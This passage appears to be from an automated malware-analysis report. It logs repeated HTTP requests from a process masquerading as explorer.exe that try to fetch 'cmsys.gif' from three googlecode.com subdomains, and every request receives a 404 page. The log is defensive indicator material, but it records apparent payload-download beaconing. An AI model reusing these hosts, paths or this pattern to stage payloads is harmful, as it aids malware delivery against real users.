Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:23.561069965 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	60675	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:23.943504095 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:25.050404072 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:24 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:25.050425053 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:09:25.051271915 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	60677	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:27.312540054 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:28.267769098 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:28 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:28.267807961 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	60678	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:28.540689945 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:29.496773005 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:29 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:29.496793032 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	60679	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:29.789535046 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:30.713148117 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:30 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:30.713176966 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	60681	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:32.649677992 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:33.575355053 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:33 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:33.575586081 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	60682	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:33.788289070 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:34.741954088 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:34 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:34.742079973 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	60683	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:35.067876101 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:35.988657951 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:35 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
